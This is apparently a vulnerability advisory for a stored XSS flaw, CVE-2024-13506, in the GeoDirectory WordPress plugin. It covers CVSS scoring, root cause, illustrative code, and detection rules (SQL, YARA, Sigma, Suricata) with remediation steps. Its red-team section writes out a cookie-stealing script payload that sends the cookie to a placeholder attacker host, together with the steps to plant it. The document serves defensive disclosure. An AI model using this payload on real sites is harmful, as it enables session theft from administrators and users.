CVE-2024-13506

Executive Summary

CVE-2024-13506 is a Stored Cross-Site Scripting (XSS) vulnerability in the GeoDirectory – WP Business Directory Plugin and Classified Listings Directory plugin for WordPress. The flaw resides in the display_name profile parameter, affecting all versions up to and including 2.8.97. Due to insufficient input sanitization and output escaping, authenticated attackers with Subscriber-level access or higher can inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload, leading to potential session hijacking, data theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx. The CVSS score is 6.4 (Medium), with a low EPSS probability (0.0%), indicating limited active exploitation at this time. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from the vendor (GeoDirectory) and apply patches immediately upon release. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Changed (impacts other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the impact is limited to low confidentiality and integrity loss, the ability to execute arbitrary scripts in the context of other users (including administrators) can lead to privilege escalation or data exfiltration.

Deep Dive & Mechanics

The vulnerability exists in the user profile update functionality of the GeoDirectory plugin. When a user updates their profile, the display_name parameter is stored in the WordPress user meta table without proper sanitization. The plugin then outputs this value on various pages (e.g., author pages, directory listings) without escaping HTML entities.

Attack Flow:

1. An authenticated attacker (Subscriber or higher) navigates to their profile edit page.
2. The attacker injects a malicious JavaScript payload into the display_name field, e.g., <script>alert('XSS')</script>.
3. The plugin stores the payload in the database.
4. When another user (including administrators) views a page that displays the attacker's profile (e.g., directory listing), the script executes in their browser.

Root Cause: The plugin uses esc_attr() or similar functions inconsistently, failing to escape output in all contexts. The display_name field is not sanitized with sanitize_text_field() or validated against allowed characters.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.8.97):

// In geodirectory-functions/user_functions.php
function geodir_get_user_display_name($user_id) {
    $user_info = get_userdata($user_id);
    $display_name = $user_info->display_name;
    // No sanitization or escaping
    return $display_name;
}

Patched Code (Hypothetical):

function geodir_get_user_display_name($user_id) {
    $user_info = get_userdata($user_id);
    $display_name = $user_info->display_name;
    // Sanitize and escape output
    return esc_html($display_name);
}

The patch would require adding esc_html() or wp_kses_post() to all output points of display_name. Additionally, input validation should use sanitize_text_field() on the display_name field during profile updates.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with GeoDirectory plugin <= 2.8.97
• Attacker account with Subscriber role

Exploitation Steps:

1. Log in as a Subscriber.
2. Navigate to /wp-admin/profile.php.
3. In the "Display name publicly as" field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the profile.
5. Wait for an administrator or other user to view the attacker's profile page (e.g., /author/attacker/).
6. The script executes, sending the victim's cookies to the attacker's server.

Note: No public exploit code is available; this is a manual exploitation scenario.

Blue Team

Detection:

• Monitor for unusual display_name values containing <script> tags or event handlers.
• Use WAF rules to block XSS payloads in profile fields.
• Audit user meta table for suspicious entries.

Hunting Query (SQL):

SELECT * FROM wp_usermeta WHERE meta_key = 'display_name' AND meta_value LIKE '%<script%';

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
• Host: User meta entries in wp_usermeta with meta_key = 'display_name' containing JavaScript code.
• Logs: WordPress debug logs showing wp_ajax_* actions with suspicious payloads.
• File: Modified plugin files (if attacker gains write access) – check file integrity.

Detection Engineering

YARA Rule

rule CVE_2024_13506_GeoDirectory_XSS {
    meta:
        description = "Detects stored XSS payloads in GeoDirectory display_name field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13506"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: GeoDirectory Stored XSS via display_name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in GeoDirectory plugin display_name field
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # WordPress user meta update
        meta_key: 'display_name'
        meta_value|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of HTML in display names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13506 GeoDirectory Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/profile.php"; http_uri; content:"display_name"; nocase; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available and the plugin is not critical.
2. Restrict user registration to trusted users only (disable open registration).
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in profile fields.

Long-term Fix:

• Apply the vendor patch once released (monitor GeoDirectory changelog).
• If patching manually, add esc_html() to all output of display_name and sanitize_text_field() on input.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for this CVE.

Valters IT